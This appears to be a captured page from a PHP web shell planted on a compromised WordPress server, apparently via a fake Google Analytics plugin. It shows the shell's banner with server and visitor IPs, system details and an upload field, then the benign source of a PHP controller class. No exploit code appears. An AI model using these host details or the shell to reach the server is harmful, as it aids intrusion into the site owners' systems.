Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/pkpCore/ |
Upload File : |
<?php
class Controller extends ModuleMain {
use \modules\input\traits {
\modules\input\traits::__construct as __ConstructInput;
}
use \modules\config\traits {
\modules\config\traits::__construct as __ConstructConfig;
}
use \modules\output\traits {
\modules\output\traits::__construct as __ConstructOutput;
}
private $module_config = NULL;
public $isPost;
public $PHASE;
public function __construct($module_dir = '') {
parent::__construct($module_dir);
$this->__ConstructInput();
$this->__ConstructConfig();
$this->__ConstructOutput();
$this->isPost = $this->method() == 'POST';
$this->PHASE = 0;
//$this->module_dir = $module_dir;
// $this->debug = $GLOBALS['config']->GetClientIP() == '71.174.191.227';
}
static
public function GetHandle() {
$name = static::class;
if (!isset($GLOBALS['handle'][$name])) {
return $GLOBALS['handle'][$name] = new static;
} else {
return $GLOBALS['handle'][$name];
}
}
protected function OutputArray($data) {
global $config;
$contenttype = $config->getPreferredDocumentType();
$view = $this->LoadView('Export_json');
if (!empty($data['result']) && empty($data['message'])) $data['message'] = $config->ErrorMessage($data['result']);
$is_json = strpos($contenttype, 'json') !== FALSE;
if ($is_json) {
return $view->render($data);
} elseif (empty($data['template']) && empty($data['popup']) && !empty($data['result'])) {
$this->Error($data['result'], $data['message']);
} else {
return $view->render($data);
}
}
protected function Error($error_num, $message = NULL) {
global $config;
$classname = $config->error_controller;
$path = GetControllerPath($classname);
require_once $path;
$obj2 = new $classname;
$result = call_user_func_array(array($obj2, 'displayerror'), array($error_num, $message));
if (isset($result) && is_array($result)) {
$result = $obj->OutputArray($result);
}
die($result);
}
}